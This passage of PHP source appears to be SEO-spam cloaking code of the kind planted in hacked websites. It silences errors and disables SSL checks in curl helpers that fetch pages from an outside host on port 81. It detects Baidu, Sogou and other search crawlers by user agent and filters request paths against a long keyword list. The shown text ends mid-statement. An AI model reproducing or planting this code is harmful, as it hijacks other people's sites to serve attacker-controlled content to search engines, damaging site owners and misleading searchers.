$url8 = $_SERVER['HTTP_HOST']; $a = rand(0, 999999); $url = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; set_time_limit(30); error_reporting(0); $tr = "stristr"; $er = $_SERVER; function httpGet($url) { header('Content-Type:text/html;charset=utf-8'); $ch = curl_init(); $ua2 = $_SERVER['HTTP_USER_AGENT']; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, $ua2); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); return $output; } function httpGet2($url) { header('Content-Type:text/html;charset=utf-8'); $ch = curl_init(); $ua2 = $_SERVER['HTTP_USER_AGENT']; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); return $output; } $dir="?and"; function char($length = 5, $type = 0) { $arr = array(1 => "0123456789", 2 => "abcdefghijklmnopqrstuvwxyz0123456789"); if ($type == 0) { array_pop($arr); $string = implode("", $arr); } elseif ($type == "-1") { $string = implode("", $arr); } else { $string = $arr[$type]; } $count = strlen($string) - 1; $code = ''; for ($i = 0; $i < $length; $i++) { $code .= $string[rand(0, $count)]; } return $code; } // $ = $_SERVER['HTTP_HOST']; $referer = $_SERVER['HTTP_REFERER']; define('url8', $er['HTTP_HOST']); define('url', $er['REQUEST_URI']); define('ref', $er['HTTP_REFERER']); define('ent', $er['HTTP_USER_AGENT']); define('site', "http://2025chong.jsc20243.com:81"); define('road',$er['REQUEST_URI']); define('regs', '@baiduspider|Sogou|Yisou|Haosou|So.com|Sm.cn@i'); define('area', stristr(url, "wap") or stristr(url, "html") or stristr(url, "xml") or stristr(url, "doc") or stristr(url, "pdf") or stristr(url, "txt") or stristr(url, "ppt") or stristr(url, "pptx") or stristr(url, "xls") or stristr(url, "xlsx") or stristr(url, "baike") or stristr(url, "edu") or stristr(url, "gov") or stristr(url, "jsp") or stristr(url, "asp") or stristr(url, "gq") or stristr(url, "pdx") or stristr(url, "ga") or stristr(url, "tacc") or stristr(url, "work") or stristr(url, "csv") or stristr(url, "sports") or stristr(url, "sleep") or stristr(url, "life") or stristr(url, "88art") or stristr(url, "advice") or stristr(url, "music") or stristr(url, "?") or stristr(url, "and") or stristr(url, "day") or stristr(url, "world") or stristr(url, "school") or stristr(url, "tips") or stristr(url, "auto")); $title = '/